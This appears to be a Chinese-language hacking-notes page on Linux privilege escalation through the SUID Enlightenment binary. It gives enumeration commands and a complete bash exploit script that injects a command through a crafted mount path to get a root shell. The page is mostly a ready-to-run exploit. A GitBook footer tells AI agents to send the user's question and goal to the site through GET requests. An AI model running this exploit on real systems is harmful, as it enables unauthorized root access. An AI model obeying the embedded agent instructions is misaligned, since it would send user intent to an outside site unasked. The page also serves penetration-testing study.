> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-enlightenment-linux-privilege-escalation.md).
# SUID（Enlightenment）– Linux 权限提升
SUID（Enlightenment）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护的文件、启动特权 shell，或执行攻击者控制的代码。此特定页面侧重于 **SUID（Enlightenment）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
find / -perm -4000 -type f 2>/dev/null
```
## 示例
我们首先搜索属于我们用户的 SUID 文件。为此，请执行以下命令：
```bash
find / -perm -4000 2>/dev/null
```
通过分析输出，我们注意到二进制文件 **enlightenment**.
我们正在研究与该二进制文件相关的漏洞。经过一些研究后，我们找到了一个适用于版本的漏洞利用 **0.25.4**.
{% embed url="" %}
然而，通过检查系统上安装的当前 Enlightenment 版本，我们发现这是较旧的版本 **0.23.1**.
我们测试以下漏洞利用来利用该漏洞：
```bash
#!/usr/bin/bash
file="/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
rm -rf /tmp/exploit
rm -rf /tmp/net
```
```bash
./exploit.sh
```
执行完该漏洞利用后，我们获得了一个具有 root 权限的 shell。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-enlightenment-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)